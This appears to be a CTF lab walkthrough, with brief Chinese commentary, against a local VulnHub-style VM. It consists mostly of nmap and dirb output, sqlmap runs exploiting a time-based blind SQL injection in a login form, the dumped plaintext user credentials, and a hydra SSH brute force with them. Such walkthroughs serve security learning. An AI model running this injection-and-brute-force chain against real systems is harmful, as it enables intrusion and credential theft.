┌──(kali㉿kali)-[~] └─$ nmap -sn 192.168.159.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 18:06 CST Nmap scan report for 192.168.159.1 Host is up (0.00011s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.159.2 Host is up (0.00017s latency). MAC Address: 00:50:56:E1:64:0A (VMware) Nmap scan report for 192.168.159.135 Host is up (0.00034s latency). MAC Address: 00:0C:29:65:E0:CF (VMware) Nmap scan report for 192.168.159.254 Host is up (0.00025s latency). MAC Address: 00:50:56:E3:A8:9B (VMware) Nmap scan report for 192.168.159.129 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 3.97 seconds ┌──(kali㉿kali)-[~] └─$ nmap -A -p- 192.168.159.135 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 18:06 CST Nmap scan report for 192.168.159.135 Host is up (0.00062s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA) | 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA) | 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA) |_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519) MAC Address: 00:0C:29:65:E0:CF (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (89%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.62 ms 192.168.159.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 114.67 seconds
┌──(kali㉿kali)-[~] └─$ ssh 192.168.159.135 The authenticity of host '192.168.159.135 (192.168.159.135)' can't be established. ED25519 key fingerprint is SHA256:Rz24fg01xp2jMdwk9c44ijnZAz1uaUlvRXX7QU+ERtI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.159.135' (ED25519) to the list of known hosts.
┌──(kali㉿kali)-[~] └─$ nmap -A -p- 192.168.159.135 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 18:35 CST Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Stats: 0:01:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 66.89% done; ETC: 18:37 (0:00:38 remaining) Nmap scan report for 192.168.159.135 Host is up (0.00030s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA) | 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA) | 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA) |_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519) 1337/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:65:E0:CF (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (87%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.30 ms 192.168.159.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 125.05 seconds
----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Sun Jun 30 18:47:11 2024 URL_BASE: http://192.168.159.135:1337/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.159.135:1337/ ---- ==> DIRECTORY: http://192.168.159.135:1337/images/ + http://192.168.159.135:1337/index.html (CODE:200|SIZE:64) + http://192.168.159.135:1337/server-status (CODE:403|SIZE:297) ---- Entering directory: http://192.168.159.135:1337/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sun Jun 30 18:47:14 2024 DOWNLOADED: 4612 - FOUND: 2
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:53:12 /2024-06-30/
[18:53:12] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=0ppebngpp01...d0jo0k3ga3'). Do you want to use those [Y/n] Y [18:53:13] [INFO] searching for forms [1/1] Form: POST http://192.168.159.135:1337/978345210/index.php POST data: username=&password=&submit=%20Login%20 do you want to test this form? [Y/n/q] > Y Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): username=&password=&submit= Login do you want to fill blank fields with random values? [Y/n] Y it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N [18:53:13] [INFO] resuming back-end DBMS 'mysql' [18:53:13] [INFO] using '/home/kali/.local/share/sqlmap/output/results-06302024_0653pm.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=xUrz' AND (SELECT 4216 FROM (SELECT(SLEEP(5)))maRq) AND 'etoh'='etoh&password=QvOd&submit= Login --- do you want to exploit this SQL injection? [Y/n] Y [18:53:13] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP 5.5.9, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [18:53:13] [INFO] fetching database names [18:53:13] [INFO] fetching number of databases [18:53:13] [INFO] resumed: 4 [18:53:13] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [18:53:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [18:53:28] [INFO] adjusting time delay to 1 second due to good response times information_schema [18:54:23] [INFO] retrieved: Webapp [18:54:43] [INFO] retrieved: mysql [18:54:59] [INFO] retrieved: performance_schema available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] Webapp
[18:55:55] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-06302024_0653pm.csv'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:57:04 /2024-06-30/
[18:57:04] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=mb384e2a6cu...015s6ft4k2'). Do you want to use those [Y/n] Y [18:57:04] [INFO] searching for forms [1/1] Form: POST http://192.168.159.135:1337/978345210/index.php POST data: username=&password=&submit=%20Login%20 do you want to test this form? [Y/n/q] > Y Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): username=&password=&submit= Login do you want to fill blank fields with random values? [Y/n] Y it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N [18:57:04] [INFO] resuming back-end DBMS 'mysql' [18:57:04] [INFO] using '/home/kali/.local/share/sqlmap/output/results-06302024_0657pm.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=xUrz' AND (SELECT 4216 FROM (SELECT(SLEEP(5)))maRq) AND 'etoh'='etoh&password=QvOd&submit= Login --- do you want to exploit this SQL injection? [Y/n] Y [18:57:04] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP 5.5.9, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [18:57:04] [INFO] fetching tables for database: 'Webapp' [18:57:04] [INFO] fetching number of tables for database 'Webapp' [18:57:04] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [18:57:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y 1 [18:57:09] [INFO] retrieved: [18:57:19] [INFO] adjusting time delay to 1 second due to good response times Users Database: Webapp [1 table] +-------+ | Users | +-------+
[18:57:32] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-06302024_0657pm.csv'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:58:42 /2024-06-30/
[18:58:42] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=glencc0t31r...q0mgrpu8v1'). Do you want to use those [Y/n] Y [18:58:42] [INFO] searching for forms [1/1] Form: POST http://192.168.159.135:1337/978345210/index.php POST data: username=&password=&submit=%20Login%20 do you want to test this form? [Y/n/q] > Y Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): username=&password=&submit= Login do you want to fill blank fields with random values? [Y/n] Y it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N [18:58:42] [INFO] resuming back-end DBMS 'mysql' [18:58:42] [INFO] using '/home/kali/.local/share/sqlmap/output/results-06302024_0658pm.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=xUrz' AND (SELECT 4216 FROM (SELECT(SLEEP(5)))maRq) AND 'etoh'='etoh&password=QvOd&submit= Login --- do you want to exploit this SQL injection? [Y/n] Y [18:58:42] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0.12 [18:58:42] [INFO] fetching columns for table 'Users' in database 'Webapp' [18:58:42] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [18:58:43] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [18:58:58] [INFO] adjusting time delay to 1 second due to good response times 3 [18:58:58] [INFO] retrieved: id [18:59:04] [INFO] retrieved: int(10) [18:59:28] [INFO] retrieved: username [18:59:50] [INFO] retrieved: varchar(255) [19:00:27] [INFO] retrieved: password [19:00:54] [INFO] retrieved: varchar(255) Database: Webapp Table: Users [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | int(10) | | password | varchar(255) | | username | varchar(255) | +----------+--------------+
[19:01:31] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-06302024_0658pm.csv'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:15:23 /2024-06-30/
[19:15:23] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=955enk5hbde...c9l0ccfri3'). Do you want to use those [Y/n] Y [19:15:23] [INFO] searching for forms [1/1] Form: POST http://192.168.159.135:1337/978345210/index.php POST data: username=&password=&submit=%20Login%20 do you want to test this form? [Y/n/q] > Y Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): username=&password=&submit= Login do you want to fill blank fields with random values? [Y/n] Y it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N [19:15:24] [INFO] resuming back-end DBMS 'mysql' [19:15:24] [INFO] using '/home/kali/.local/share/sqlmap/output/results-06302024_0715pm.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=xUrz' AND (SELECT 4216 FROM (SELECT(SLEEP(5)))maRq) AND 'etoh'='etoh&password=QvOd&submit= Login --- do you want to exploit this SQL injection? [Y/n] Y [19:15:24] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP 5.5.9, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [19:15:24] [INFO] fetching entries of column(s) 'id,password,username' for table 'Users' in database 'Webapp' [19:15:24] [INFO] fetching number of column(s) 'id,password,username' entries for table 'Users' in database 'Webapp' [19:15:24] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [19:15:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 5 [19:15:34] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) [19:15:39] [INFO] adjusting time delay to 1 second due to good response times 1 [19:15:40] [INFO] retrieved: iwilltakethering [19:16:29] [INFO] retrieved: frodo [19:16:48] [INFO] retrieved: 2 [19:16:51] [INFO] retrieved: MyPreciousR00t [19:17:38] [INFO] retrieved: smeagol [19:17:59] [INFO] retrieved: 3 [19:18:02] [INFO] retrieved: AndMySword [19:18:40] [INFO] retrieved: aragorn [19:19:00] [INFO] retrieved: 4 [19:19:04] [INFO] retrieved: AndMyBow [19:19:35] [INFO] retrieved: legolas [19:19:57] [INFO] retrieved: 5 [19:20:00] [INFO] retrieved: AndMyAxe [19:20:30] [INFO] retrieved: gimli Database: Webapp Table: Users [5 entries] +----+------------------+----------+ | id | password | username | +----+------------------+----------+ | 1 | iwilltakethering | frodo | | 2 | MyPreciousR00t | smeagol | | 3 | AndMySword | aragorn | | 4 | AndMyBow | legolas | | 5 | AndMyAxe | gimli | +----+------------------+----------+
[19:20:45] [INFO] table 'Webapp.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.159.135/dump/Webapp/Users.csv' [19:20:45] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-06302024_0715pm.csv'
[*] ending @ 19:20:45 /2024-06-30/
获得账号密码
wp说登进去看看没啥东西,但到我这里登都登不进去,
气笑了
把账号密码保存下来,用hydra爆破
plaintext
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~/桌面] └─$ hydra -L user.txt -P pass.txt 192.168.159.135 ssh Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-30 19:45:13 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task [DATA] attacking ssh://192.168.159.135:22/ [22][ssh] host: 192.168.159.135 login: smeagol password: MyPreciousR00t 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-30 19:45:18